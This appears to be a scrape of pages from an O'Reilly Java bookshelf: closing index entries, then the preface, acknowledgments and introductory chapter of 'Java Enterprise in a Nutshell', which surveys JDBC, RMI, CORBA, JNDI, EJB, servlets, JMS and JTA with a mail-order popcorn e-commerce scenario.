stateful session beans: 7.3.1.7 EJB 1.1: The TravelAgent deployment descriptor, Enterprise JavaBeans
stateless session bean: 7.1.2.9 EJB 1.1: The ProcessPayment bean's deployment descriptor, Enterprise JavaBeans
transaction attributes: 8.2.2 Transaction Attributes, Enterprise JavaBeans
setting: 8.2.2.1 EJB 1.1: Setting a transaction attribute, Enterprise JavaBeans
for web components: 11.4 J2EE Fills in the Gaps, Enterprise JavaBeans
XML documents
!DOCTYPE element: 2.1.2.2 EJB 1.1: Deployment descriptors, Enterprise JavaBeans
4.2.5 EJB 1.1: The Deployment Descriptor, Enterprise JavaBeans
generating with JSP: 11.2 Java Server Pages, Enterprise JavaBeans
tagging in: 4.2.5 EJB 1.1: The Deployment Descriptor, Enterprise JavaBeans
XOPEN specification (data types): 18. The java.sql Package, Java Enterprise in a Nutshell
X/Open XA interface specification: 29. The javax.transaction.xa Package, Java Enterprise in a Nutshell
xterm window: 1.3.1. Compiling and Running the Program, Java in a Nutshell

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: Y

yield( ) (Thread): 12. The java.lang Package, Java in a Nutshell
12. The java.lang Package, Java in a Nutshell

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: Z

zero, dividing by: 5.7. When Things Go Wrong, Java Servlet Programming
Zimmerman, Phil: 5.7.3.2. Pretty Good Privacy (PGP), Java Distributed Computing
ZIP compression format: 6.2. Compressed Content, Java Servlet Programming
ZIP files
JAR files vs.: 24. The java.util.jar Package, Java in a Nutshell
package for: 4.1. Java Platform Overview, Java in a Nutshell
zip package (java.util.zip): 3.5.2. A JAR File Class Loader, Java Security
ZipEntry class: 25. The java.util.zip Package, Java in a Nutshell
ZipException: 25. The java.util.zip Package, Java in a Nutshell
ZipFile class: 4.10. Input and Output Streams, Java in a Nutshell
25. The java.util.zip Package, Java in a Nutshell
ZipInputStream class: 25. The java.util.zip Package, Java in a Nutshell
ZipOutputStream class: 25. The java.util.zip Package, Java in a Nutshell
6.2. Compressed Content, Java Servlet Programming
zipping and unzipping JAR files: 4.2.7.1 EJB 1.1: Packaging the Cabin bean, Enterprise JavaBeans
10.7 The ejb-jar File, Enterprise JavaBeans

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Preface (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

Preface

This book is a desktop quick reference for Java programmers who are writing enterprise applications. The first part of the book provides a fast-paced introduction to the key Java Enterprise APIs: JDBC™, RMI, Java IDL (CORBA), servlets, JNDI, and Enterprise JavaBeans™. These chapters are followed by a quick-reference section that succinctly details every class of those APIs, as well as a few other Enterprise APIs.

This book complements the best-selling Java in a Nutshell and the forthcoming Java Foundation Classes in a Nutshell. Java in a Nutshell introduces the Java programming language itself and provides an API quick reference for the core packages and classes of the Java platform, while Java Foundation in a Nutshell offers a fast-paced tutorial on the Java APIs that comprise the Java Foundation Classes (JFC) and provides corresponding quick-reference material.

0.1. Contents of This Book

This book is divided into three parts:

Part 1, "Introducing the Java Enterprise APIs"

The chapters in this part introduce the key Enterprise APIs and provide enough information so that you can start using them right away.

Part 2, "Enterprise Reference"

This part contains two reference chapters that help you work with technologies key to the Enterprise APIs: SQL and IDL. It also contains chapters that cover the tools provided with Sun's Java Development Kit for RMI and Java IDL.

Part 3, "API Quick Reference"

This part is a quick reference for the Java Enterprise APIs; it forms the bulk of the book. Please be sure to read the How To Use This Quick Reference section, which appears at the beginning of this part. It explains how to get the most out of this book.

Previous | Home | Next
Copyright | Book Index | 0.2. Related Books
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Related Books (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

0.2. Related Books

O'Reilly & Associates publishes an entire series of books on Java programming. These books include Java in a Nutshell and Java Foundation Classes in a Nutshell, which, as mentioned above, are companions to this book.

A related reference work is the Java Power Reference. It is an electronic Java quick-reference on CD-ROM that uses the Java in a Nutshell style. But since it is designed for viewing in a web browser, it is fully hyperlinked and includes a powerful search engine. It is wider in scope but narrower in depth than the Java in a Nutshell books. Java Power Reference covers all the APIs of the Java 2 platform, plus the APIs of many standard extensions. But it does not include tutorial chapters on the various APIs, nor does it include descriptions of the individual classes.

You can find a complete list of O'Reilly's Java books at http://java.oreilly.com. Books of particular interest to enterprise programmers include the following:

Java Servlet Programming, by Jason Hunter with William Crawford

A guide to writing servlets that covers dynamic web content, maintaining state information, session tracking, database connectivity using JDBC, and applet-servlet communication.

Java Distributed Computing, by Jim Farley

A programmer's guide to writing distributed applications with Java.

Database Programming with JDBC and Java, by George Reese

An advanced tutorial on JDBC that presents a robust model for developing Java database programs.

Enterprise JavaBeans, by Richard Monson-Haefel

A thorough introduction to EJB for the enterprise software developer.

Previous | Home | Next
0.1. Contents of This Book | Book Index | 0.3. Java Programming Resources Online
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Acknowledgments (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

0.7. Acknowledgments

This book is an outgrowth of the best-selling Java in a Nutshell. We'd like to thank all the readers who made that book a success and who wrote in with comments, suggestions, and praise.

The authors would like to say a big thank you to the book's technical reviewers, whose constructive criticism has done much to improve this work: Andy Deitsch, Jason Hunter, William Smith, and Gary Letourneau.

0.7.1. David Flanagan

Java Enterprise in a Nutshell is a book I've wished I could write for some time now. Time constraints and my own lack of expertise in enterprise computing have kept me from doing it myself, and so I am deeply grateful to Jim Farley, William Crawford, and Kris Magnusson, who are experts and who did all the hard work to make this book a reality. I owe an extra thanks to Jim Farley for taking the time to help me understand Enterprise JavaBeans and the JTA and JTS transaction APIs. Paula Ferguson also earns my sincere thanks: she had the unenviable task of editing material from four independent authors and fitting it seamlessly together into a single book.

0.7.2. Jim Farley

A writing project of any kind requires a much larger cast of characters than those listed on the cover. Paula Ferguson deserves mention above all, not only for doing her usual excellent editing job, but also for roping in four disobedient authors, as opposed to the usual one disobedient author. I'd like to thank David Flanagan for putting together the API listings and the introductory chapter, as well as providing great technical review comments, all of which helped integrate this into the "Java ... Nutshell" set. Technical reviewers are the unsung heroes of writing projects such as this one, so many thanks to Andy Deitsch, Bill Smith, Jason Hunter, and Gary Letourneau.

To my wife Sandy Mallalieu, who has somehow not only accepted the fact that her husband enjoys spending much of his free time on writing projects like this, but is also supportive and inspiring through it all--well, what else is there to say? My extended family, and the folks at the Harvard Business School, were supportive as always, and getting through efforts such as this makes me appreciate them both all the more. And for the late-night inspiration, my undying gratitude to Madeline and to Declan MacManus.

0.7.3. William Crawford

Writing projects would be impossible without the support of everyone at Invantage, especially Martin Streeter, Nicholas Riley, and Stephen Braverman. Jason Hunter's knowledge of servlet programming was a boon to Chapter 5. I would also like to thank the staff of the Emotion Cybernet Cafe in Hanoi, Vietnam, where I wrote most of the class summaries for the java.sql package, paying six cents a minute for computer time. And we wouldn't be here without David Flanagan.

I have enjoyed support, encouragement, and grudging tolerance from William F. Crawford, William E. Crawford, Francine Crawford, and Faith Crawford, as well as from Joel Pomerantz, Sam Carner, and Isaac Kohane.

Finally, my heartfelt thanks goes to our editor, Paula Ferguson, for her extreme patience with me over the last year and a half.

0.7.4. Kris Magnusson

I found a good deal of pleasure in writing the JNDI-related material for this book. And I have many people to thank for the opportunity--too many to list here. But some deserve special mention.

In particular I thank my partner and wife Kristen Dalzen for all her support, without which my work would not have been possible. She is the Empress of the Blue People, and she has enriched my life beyond description. She has been brave to bear the abandonment.

At O'Reilly, David Flanagan provided invaluable assistance in writing my portions of this book; clearly he is an asset to the entire Java community. My editor, Paula Ferguson, was equally invaluable; she tightened up my language and code like a vise. And my other editor, Mike Loukides, is a good sport for giving me time off from my other book to work on this one.

My Novell experience has been a period of immense personal growth for me. My officemates Bruce "Stocks" Bergeson, Jim Sermersheim, and Kent Boogert have been key players in that drama, as were Alan Landes, Alvin Tedjamulia, Chris Stone, Don Lavange, Don Thomas, Ed Lane, Erni Messenger, Michael J. Simpson, Mike Flathers, Mike MacKay, Ric Buhler, Scott Pead, Steve Holbrook, Steve Weitzeil, and Trisha Turner. Here's to a fruitful second act.

Outside of work, Don Yacktman and Dr. Sean Luke were instrumental in sharing their object-oriented architecture expertise over the years. And Yan Fang and her support for my computer and other habits helped immensely with my transition from fresh economics graduate to software guy.

Thanks, everyone!

Previous | Home | Next
0.6. We'd Like to Hear from You | Book Index | Part 1. Introducing the Java Enterprise APIs
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Introduction (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

Chapter 1. Introduction

Contents:

Enterprise Computing Defined
Enterprise Computing Demystified
The Java Enterprise APIs
Enterprise Computing Scenarios
Java Enterprise APIs Versus Jini

This book is an introduction to, and quick reference for, the Java Enterprise APIs. Some of these APIs are a core part of the Java platform, while others are standard extensions to the platform. Together, however, they enable Java programs to use and interact with a suite of distributed network services that are commonly used in enterprise computing.

Just before this book went to press, Sun announced a new Java platform for enterprise computing. Java 2 Platform, Enterprise Edition, or J2EE, is the standard Java 2 platform with a number of extensions for enterprise computing. As of this writing, J2EE is still in its alpha stages; it will be some time before a complete specification and implementation are delivered. From the preliminary specifications, however, it appears that most of the enterprise-computing technologies that will be part of J2EE are already documented in this book. In the months ahead, you will undoubtedly hear quite a bit about Java 2 Platform, Enterprise Edition. Although you won't find that name used explicitly here, you can rest assured that this book documents the building blocks of J2EE.

1.1. Enterprise Computing Defined

Before we go any further, let's be clear. The term enterprise computing is simply a synonym for distributed computing: computation done by groups of programs interacting over a network.

Anyone can write distributed applications: you don't have to work for a major corporation, university, government agency, or any other kind of large-scale "enterprise" to program with the Java Enterprise APIs. Small businesses may not have the same enterprise-scale distributed computing needs large organizations have, but most still engage in plenty of distributed computing. With the explosive growth of the Internet and of network services, just about anyone can find a reason to write distributed applications. One such reason is that it is fun. When distributed computing is used to leverage the power of the network, the results can be amazingly cool!

So, if the Java Enterprise APIs aren't used exclusively by enterprises, why aren't they called the Java Distributed Computing APIs? The reasons are simple. First, enterprise is a hot buzzword these days--everyone in the networking industry wants to be doing enterprise something. Second, large enterprises have lots of money to spend on costly hardware for running their expensive network server software. Since the enterprise is where the money is, we get the word enterprise in the APIs.

Previous | Home | Next
Part 1. Introducing the Java Enterprise APIs | Book Index | 1.2. Enterprise Computing Demystified
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Enterprise Computing Demystified (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

1.2. Enterprise Computing Demystified

Enterprise computing has a reputation for complexity and, for the uninitiated, it is often surrounded by a shroud of mystery. Here are some reasons enterprise computing can seem intimidating:

  • Enterprise computing usually takes place in a heterogeneous network: one in which the computers range from large mainframes and supercomputers down to PCs (including both top-of-the-line Pentium IIIs and outdated 386s). The computers were purchased at different times from a variety of different vendors and run two or three or more different operating systems. The only common denominator is that all the computers in the network speak the same fundamental network protocol (usually TCP/IP).

  • A variety of server applications run on top of the heterogeneous network hardware. An enterprise might have database software from three different companies, each of which defines different, incompatible extensions.

  • Enterprise computing involves the use of many different network protocols and standards. Some standards overlap in small or significant ways. Many have been extended in various vendor-specific, nonstandard ways. Some are quite old and use a vocabulary and terminology that dates back to an earlier era of computing. This creates a confusing alphabet soup of acronyms.

  • Enterprise computing has only recently emerged as an integrated discipline of its own. Although enterprise development models are today becoming more cohesive and encompassing, many enterprises are still left with lots of "legacy systems" that are aggregated in an ad-hoc way.

  • Enterprise programmers, like many of us in the high-tech world, tend to make their work seem more complicated that it actually is. This is a natural human tendency--to be part of the "in" group and keep outsiders out--but this tendency seems somehow magnified within the computer industry.

Java helps to alleviate these intimidating aspects of enterprise computing. First, since Java is platform-independent, the heterogenous nature of the network ceases to be an issue. Second, the Java Enterprise APIs form a single, standard layer on top of various proprietary or vendor-enhanced APIs. For example, the JDBC API provides a single, standard, consistent way to interact with a relational database server, regardless of the database vendor and regardless of the underlying network protocol the database server uses to communicate with clients. Finally, recall that many enterprise protocols and standards were developed before the days of object-oriented programming. The object-oriented power and elegance of the Java language allow the Java Enterprise APIs to be simpler, easier to use, and easier to understand than the non-Java APIs upon which they are layered.

The messages you should take away from this discussion are:

  • Enterprise computing is for everyone.

  • Any programmer can write distributed applications using the Java Enterprise APIs.

With that said, it is important to understand that distributed computing actually is somewhat more complicated than nondistributed computing. Just as using threads in a program introduces complexities that do not exist in single-threaded programs, using network services in a program introduces complexities that do not exist in programs that run entirely on one computer. While multithreaded programs have to deal with the issues of thread synchronization and deadlock, distributed applications have to deal with the possibilities of network failure and the complexities of distributed transaction processing. Do not fear, however: the complexities of distributed computing are not overwhelming, and, with a little study, any programmer can master them.

Previous | Home | Next
1.1. Enterprise Computing Defined | Book Index | 1.3. The Java Enterprise APIs
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The Java Enterprise APIs (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

1.3. The Java Enterprise APIs

The Java Enterprise APIs provide support for a number of the most commonly used distributed computing technologies and network services. These APIs are described in the sections that follow. The APIs are building blocks for distributed applications. At the end of the chapter, I'll present some enterprise computing scenarios that illustrate how these separate APIs can be used together to produce an enterprise application.

1.3.1. JDBC: Working with Databases

JDBC ( Java Database Connectivity) is the Java Enterprise API for working with relational database systems. JDBC allows a Java program to send SQL query and update statements to a database server and to retrieve and iterate through query results returned by the server. JDBC also allows you to get meta-information about the database and its tables from the database server.

The JDBC API is independent of vendor-specific APIs defined by particular database systems. The JDBC architecture relies upon a Driver class that hides the details of communicating with a database server. Each database server product requires a custom Driver implementation to allow Java programs to communicate with it. Major database vendors have made JDBC drivers available for their products. In addition, a "bridge" driver exists to enable Java programs to communicate with databases through existing ODBC drivers.

The JDBC API is found in the java.sql package, which was introduced in Java 1.1. Version 1.2 of the Java 2 platform adds a number of new classes to this package to support advanced database features. Java 1.2 also provides additional features in the javax.sql standard extension package. javax.sql includes classes for treating database query results as JavaBeans, for pooling database connections, and for obtaining database connection information from a name service. The extension package also supports scrollable result sets, batch updates, and the storage of Java objects in databases.

The JDBC API is simple and well-designed. Programmers who are familiar with SQL and database programming in general should find it very easy to work with databases in Java. See Chapter 2, "JDBC", for details on JDBC, and Chapter 8, "SQL Reference", for a quick reference to SQL.

1.3.2. RMI: Remote Method Invocation

Remote method invocation is a programming model that provides a high-level, generic approach to distributed computing. This model extends the object-oriented programming paradigm to distributed client-server programming; it allows a client to communicate with a server by invoking methods on remote objects that reside on the server. You invoke remote methods using the same syntax you would use to invoke methods of a normal local object. This model for distributed computing can be implemented in a number of ways. One of those ways is the Java Remote Method Invocation (RMI) API. RMI is implemented in the java.rmi package and its subpackages, which were introduced in Java 1.1 and have been enhanced for Version 1.2 of the Java 2 platform.

The Java RMI implementation is full-featured, but still simple and easy to use. It gains much of its simplicity by being built on top of a network-centric and dynamically extensible platform, of course. But it also gains simplicity by requiring both client and server to be implemented in Java. This requirement ensures that both client and server share a common set of data types and have access to the object serialization and deserialization features of the java.io package, for example. On the other hand, this means that RMI cannot be used with distributed objects written in languages other than Java, such as objects that exist on legacy servers.[1] It also means that servers written using RMI can be used only by clients written in Java. In practice, RMI is an excellent distributed object solution for situations where it is clear that clients and servers will always be written in Java. Fortunately, there are many such situations.

[1]One way to work around this restriction is to use native methods to create Java wrappers that interface directly with the legacy objects that are written in other languages.

The java.rmi package makes it easy to create networked, object-oriented programs. Programmers who have spent time writing networked applications using lower-level technologies are usually amazed by the power of RMI. By making RMI so easy, java.rmi points the way to future applications and systems that consist of loose groups of objects interacting with each other over a network. These objects may act both as clients, by calling methods of other objects, and as servers, by exposing their own methods to other objects. See Chapter 3, "Remote Method Invocation", for a tutorial on using RMI.

1.3.3. Java IDL: CORBA Distributed Objects

As we've just seen, RMI is a distributed object solution that works well when both client and server are written in Java. It does not work, however, in heterogenous environments where clients and servers may be written in arbitrary languages. For environments like these, the Java 2 platform includes a CORBA-based solution for remote method invocation on distributed objects.

CORBA (Common Object Request Broker Architecture) is a widely used standard defined by the Object Management Group (OMG). This standard is implemented as a core part of the Java 2 platform in the org.omg.CORBA package and its subpackages. The implementation includes an Object Request Broker (ORB) that a Java application can use to communicate, as both a client and a server, with other ORBs, and thus with other CORBA objects.

The interfaces to remote CORBA objects are described in a platform- and language-independent way with the Interface Description Language (IDL). Sun provides an IDL compiler (in "early access" release at the time of this writing) that translates an IDL description of a remote interface into the Java stub classes needed for implementing the IDL interface in Java or for connecting to a remote implementation of the interface from your Java code.

A number of Java implementations of the CORBA standard are available from various vendors. This book documents Sun's implementation, known as Java IDL. It is covered in detail in Chapter 4, "Java IDL". The syntax of the IDL language itself is summarized in Chapter 10, "IDL Reference".

1.3.4. JNDI: Accessing Naming and Directory Services

JNDI ( Java Naming and Directory Interface) is the Java Enterprise API for working with networked naming and directory services. It allows Java programs to use name servers and directory servers to look up objects or data by name and search for objects or data according to a set of specified attribute values. JNDI is implemented in the javax.naming package and its subpackages as a standard extension to the Java 2 platform.

The JNDI API is not specific to any particular name or directory server protocol. Instead, it is a generic API that is general enough to work with any name or directory server. To support a particular protocol, you plug a service provider for that protocol into a JNDI installation. Service providers have been implemented for the most common protocols, such as NIS, LDAP, and Novell's NDS. Service providers have also been written to interact with the RMI and CORBA object registries. JNDI is covered in detail in Chapter 6, "JNDI".

1.3.5. Enterprise JavaBeans

Enterprise JavaBeans do for server-side enterprise programs what JavaBeans do for client-side GUIs. Enterprise JavaBeans (EJB) is a component model for units of business logic and business data. Thin client programming models that take business logic out of the client and put it on a server or in a middle tier have many advantages in enterprise applications. However, the task of writing this middleware has always been complicated by the fact that business logic must be mixed in with code for handling transactions, security, networking, and so on.

The EJB model separates high-level business logic from low-level housekeeping chores. A bean in the EJB model is an RMI remote object that implements business logic or represents business data. The difference between an enterprise bean and a run-of-the-mill RMI remote object is that EJB components run within an EJB container, which in turn runs within an EJB server. The container and server may provide features such as transaction management, resource pooling, lifecycle management, security, name services, distribution services, and so on. With all these services provided by the container and server, enterprise beans (and enterprise bean programmers) are free to focus purely on business logic. The particular set of services provided by an EJB server is implementation-dependent. The EJB specification is strongest in the areas of transaction management and resource pooling, so these are features that are expected in all EJB server implementations.

The EJB specification is a document that specifies the contracts to be maintained and conventions to be followed by EJB servers, containers, and beans. Writing EJB components is easy: you simply write code to implement your business logic, taking care to follow the rules and conventions imposed by the EJB model.

Unlike the other Java Enterprise APIs, EJB is not really an API; it is a framework for component-based enterprise computing. The key to understanding Enterprise JavaBeans lies in the interactions among beans, containers, and the EJB server. These interactions are described in detail in Chapter 7, "Enterprise JavaBeans". There is, of course, an API associated with the EJB application framework, in the form of the javax.ejb and javax.ejb.deployment packages. You'll find complete API quick-reference information for these packages in Part 3, "API Quick Reference".

1.3.6. Servlets

A servlet is a piece of Java code that runs within a server to provide a service to a client. The name servlet is a takeoff on applet--a servlet is a server-side applet. The Java Servlet API provides a generic mechanism for extending the functionality of any kind of server that uses a protocol based on requests and responses.

Right now, servlets are used primarily by web servers. On the growing number of web servers that support them, servlets are a Java-based replacement for CGI scripts. They can also replace competing technologies, such as Microsoft's Active Server Pages (ASP) or Netscape's Server-Side JavaScript. The advantage of servlets over these other technologies is that servlets are portable among operating systems and among servers. Servlets are persistent between invocations, which gives them major performance benefits over CGI programs. Servlets also have full access to the rest of the Java platform, so features such as database access are automatically supported.

The Servlet API differs from many other Java Enterprise APIs in that it is not a Java layer on top of an existing network service or protocol. Instead, servlets are a Java-specific enhancement to the world of enterprise computing. With the advent of the Internet and the World Wide Web, many enterprises are interested in taking advantage of web browsers--a universally available thin-client that can run on any desktop. Under this model, the web server becomes enterprise middleware and is responsible for running applications for clients. Servlets are a perfect fit here. The user makes a request to the web server, the web server invokes the appropriate servlet, and the servlet uses JNDI, JDBC, and other Java Enterprise APIs to fulfill the request, returning the result to the user, usually in the form of HTML-formatted text.

The Servlet API is a standard extension to the Java 2 platform, implemented in the javax.servlet and javax.servlet.http packages. The javax.servlet package defines classes that represent generic client requests and server responses, while the javax.servlet.http package provides specific support for the HTTP protocol, including classes for tracking multiple client requests that are all part of a single client session. See Chapter 5, "Java Servlets", for details on servlet programming.

1.3.7. JMS: Enterprise Messaging

JMS ( Java Message Service) is the Java Enterprise API for working with networked messaging services and for writing message-oriented middleware (fondly referred to as MOM).

The word "message" means different things in different contexts. In the context of JMS, a message is chunk of data that is sent from one system to another. The data serves as a kind of event notification and is almost always intended to be read by a computer program, not by a human. In a nondistributed system, an Event object notifies the program that some important event (such as the user clicking a mouse button) has occurred. In a distributed system, a message serves a similar purpose: it notifies some part of the system that an interesting event has occurred. So you can think of a networked message service as a distributed event notification system.

Like JNDI and JDBC, JMS is an API layered on top of existing, vendor-specific messaging services. In order to use JMS in your applications, you need to obtain a JMS provider implementation that supports your particular message server.

Although JMS is an important part of the Java Enterprise APIs, its use is not nearly as universal as APIs such as JDBC and JNDI, so this book does not contain a tutorial chapter on JMS. Chapter 21, "The javax.jms Package", does contain a complete API quick reference for the javax.jms package, however.

1.3.8. JTA: Managing Distributed Transactions

The JTA, or Java Transaction API, is a Java Enterprise API for managing distributed transactions. Distributed transactions are one of the things that make distributed systems more complicated than nondistributed programs. To understand distributed transactions, you must first understand simple, nondistributed transactions.

A transaction is a group of several operations that must behave atomically--as if they constituted a single, indivisible operation. Consider a banking application that allows a user to transfer money from a checking account to a savings account. If the two account balances are stored in a database, the application must perform two database updates to handle a transfer: it must subtract money from the checking account and add money to the savings account. These two operations must behave atomically. To see why, imagine what would happen if the database server crashed after money had been subtracted from the checking account but before it had been added to the savings account. The customer would lose money!

To make multiple operations atomic, we use transactions. In our banking example, we first begin a transaction, then perform the two database updates. While these updates are in progress, no other threads can see the updated account balances. If both updates complete successfully, we end the transaction by committing it. This makes the updated account balances available to any other clients of the database. On the other hand, if either of the database updates fails, we roll back the transaction, reverting the accounts to their original balances. Other clients are again given access to the database, and they see no changes in the account balances. The JDBC API supports transactions on databases. The database server is required to do some complex work to support transactions, but for the application programmer, the API is easy: simply begin a transaction, perform the desired operations, and then either commit or rollback the transaction.

Distributed transactions are, unfortunately, quite a bit more complex than the simple transactions just described. Imagine, for example, a program that transfers money from an account stored in one database to another account stored in a different database running on a different server. In this case, there are two different servers involved in the transaction, so the process of committing or rolling back the transaction must be externally coordinated. Distributed transactions are performed using a complex procedure known as the two-phase commit protocol; the details of the protocol are not important here. What is important is that we could write our account transfer code so that it implements the two-phase commit protocol itself, coordinating the entire distributed transaction with the two database servers. This would be tedious and error-prone, however. In practice, distributed transactions are coordinated by a specialized distributed transaction service.

This brings us, finally, to the JTA. The JTA is a Java API for working with transaction services. It defines a Java binding for the standard XA API for distributed transactions (XA is a standard defined by the Open Group). Using the JTA, we can write a program that communicates with a distributed transaction service and uses that service to coordinate a distributed transaction that involves a transfer of money between database records in two different databases.

Unfortunately, however, using the JTA in this way is still complex and error-prone. Modern enterprise applications are typically designed to run within some kind of application server, such as an Enterprise JavaBeans server. The server uses JTA to handle distributed transactions transparently for the application. Under this model, JTA becomes a low-level API used by server implementors, not by typical enterprise programmers. Therefore, this book doesn't include a tutorial chapter on JTA. It does, however, contain a complete API quick reference for the javax.transaction and javax.transactions.xa packages (see Chapter 28, "The javax.transaction Package" and Chapter 29, "The javax.transaction.xa Package").

Previous | Home | Next
1.2. Enterprise Computing Demystified | Book Index | 1.4. Enterprise Computing Scenarios
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Enterprise Computing Scenarios (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

1.4. Enterprise Computing Scenarios

The previous sections have been rapid-fire introductions to the Java Enterprise APIs. Don't worry if you didn't understand all the information presented there: the rest of the chapters in this Part cover the APIs in more detail. The important message you should take from this chapter is that the Java Enterprise APIs are building blocks that work together to enable you to write distributed Java applications for enterprise computing. The network infrastructure of every enterprise is unique, and the Java Enterprise APIs can be combined in any number of ways to meet the specific needs and goals of a particular enterprise.

Figure 1-1 shows a network schematic for a hypothetical enterprise. It illustrates some of the many possible interconnections among network services and shows the Java Enterprise APIs that facilitate those interconnections. The figure is followed by example scenarios that demonstrate how the Java Enterprise APIs might be used to solve typical enterprise computing problems. You may find it useful to refer to Figure 1-1 while reading through the scenarios, but note that the figure does not illustrate the specific scenarios presented here.

Figure 1-1. The distributed computing architecture of a hypothetical enterprise

1.4.1. Enabling E-Commerce for a Mail-Order Enterprise

CornCo Inc. runs a successful catalog-based mail-order business selling fresh flavored popcorn. They want to expand into the exciting world of electronic commerce over the Internet. Here's how they might do it:[2]

[2]This example is intended to illustrate only how the Java Enterprise APIs can be used together. I have ignored efficiency considerations, so the resulting design might not actually be practical for a large-scale e-commerce web site.

  • A customer visits the company's web site, www.cornco.com, and uses a web browser to interact with the company's web server. This allows the customer to view the company's products and make selections to purchase.

  • The web server uses a shopping-cart servlet to keep track of the products the customer has chosen to buy. The HTTP protocol is itself stateless, but servlets can persist between client requests, so this shopping-cart servlet can remember the customer's selections even while the customer continues to browse the web site.

  • When the customer is done browsing and is ready to purchase the selected products, the web server invokes a different checkout servlet. This servlet performs a number of important tasks, using several Enterprise APIs.

  • The checkout servlet uses JDBC to retrieve the list of products to be purchased (stored in a database by the shopping-cart servlet).

  • Next, the servlet queries the customer for a shipping address, a billing address, and other required information, and then uses JDBC again to store this information in a customer database. This database can be used, for example, by the CornCo marketing department for direct mail purposes.

  • The servlet then sends the customer's billing address and total purchase price to the billing server. This server is a legacy application, specific to CornCo, that has a nonstandard interface. Fortunately, however, the billing server exports itself as a CORBA object, so the servlet can treat the entire server as a CORBA remote object and invoke the necessary methods on it.

  • In order to ensure the very freshest product, CornCo maintains warehouses throughout the world. CornCo is a growing company, so the list of warehouses is frequently updated. The checkout servlet uses JNDI to contact a directory server and then uses the directory server to find a warehouse that is close to the customer and has the customer's requested products in stock.

  • Having located a warehouse that can fulfill the customer's order, the checkout servlet uses JMS to contact the company's enterprise messaging service. It uses this service to send the customer's order to the selected warehouse in the form of a message. This message is delivered to and queued up on the local computer at the warehouse.

1.4.2. Updating CornCo with Enterprise JavaBeans

You may have noticed a flaw in the previous scenario. The checkout servlet sends billing information to one server, and then sends fulfillment information to another server. But it performs these two actions independently, without any attempt to maintain transactional integrity and make them behave atomically. In other words, if a network failure or server crash were to occur after the billing information had been sent, but before the fulfillment information had been sent, the customer might receive a bill for popcorn that was never shipped.

The designers of the e-commerce system described in the previous section were aware of this problem, but since distributed transactions are complex, and CornCo did not own a transaction management server, they simply chose to ignore it. In practice, the number of customers who would have problems would be small, and it was easier for the original programmers to let the customer service department sort out any irregularities.

But now, CornCo has hired a new Vice President of Information Systems. She's tough as nails, and likes all her i's dotted and her t's crossed. She won't stand for this sloppy state of affairs. As her first official act as VP, she buys a high-end application server with Enterprise JavaBeans support and gives her e-commerce team the job of revamping the online ordering system to use it. The modified design might work like this:

  • The customer interacts with the web server and the shopping-cart servlet in the same way as before.

  • The checkout servlet is totally rewritten. Now it is merely a frontend for an Enterprise JavaBeans component that handles the interactions with the ordering and fulfillment servers and with the marketing database. The servlet uses JNDI to look up the enterprise bean, and then uses RMI to invoke methods on the bean (recall that all enterprise beans are RMI remote objects).

  • The major functionality of the checkout servlet is moved to a new checkout bean. The bean stores customer data in the marketing database using JDBC, sends billing information to the billing server using CORBA, looks up a warehouse using JNDI, and sends shipping information to the warehouse using JMS. The bean does not explicitly coordinate all these activities into a distributed transaction, however. Instead, when the bean is deployed within the EJB server, the system administrator configures the bean so that the server automatically wraps a distributed transaction around all of its actions. That is, when the checkout() method of the bean is called, it always behaves as an atomic operation.

  • In order for this automatic distributed transaction management to work, another change is required in the conversion from checkout servlet to checkout bean. The checkout servlet managed all its own connections to other enterprise services, but enterprise beans do not typically do this. Instead, they rely on their server for connection management. Thus, when the checkout bean wants to connect to the marketing database or the enterprise messaging system, for example, it asks the EJB server to establish that connection for it. The server doesn't need to know what the bean does with the connection, but it does need to manage the connection, if it is to perform transaction management on the connection.

Previous | Home | Next
1.3. The Java Enterprise APIs | Book Index | 1.5. Java Enterprise APIs Versus Jini
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Java Enterprise APIs Versus Jini (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

1.5. Java Enterprise APIs Versus Jini

Jini™ is the latest networking initiative from Sun. It is related to, but mostly incompatible with, the Java Enterprise APIs. Jini is a next-generation networking system designed to enable instantaneous networking between unrelated devices, without external communication. Jini is a system for distributed computing; it includes a name service, a distributed transaction service, and a distributed event service. Although these services overlap with JNDI, JTS, and JMS, Jini is fundamentally different from the Java Enterprise APIs. The Enterprise APIs are designed to bring Java into existing enterprises and to interoperate with existing protocols and services. Jini, on the other hand, is a next-generation networking system that was designed from scratch, with no concern for compatibility with today's distributed systems. Jini is a powerful and interesting technology, but covering it is beyond the scope of this book.

Previous | Home | Next
1.4. Enterprise Computing Scenarios | Book Index | 2. JDBC
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


JDBC (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

Chapter 2. JDBC

Contents:

JDBC Architecture
JDBC Basics
JDBC Drivers
Connecting to the Database
Statements
Results
Handling Errors
Prepared Statements
Metadata
Transactions
Stored Procedures
Escape Sequences
JDBC 2.0

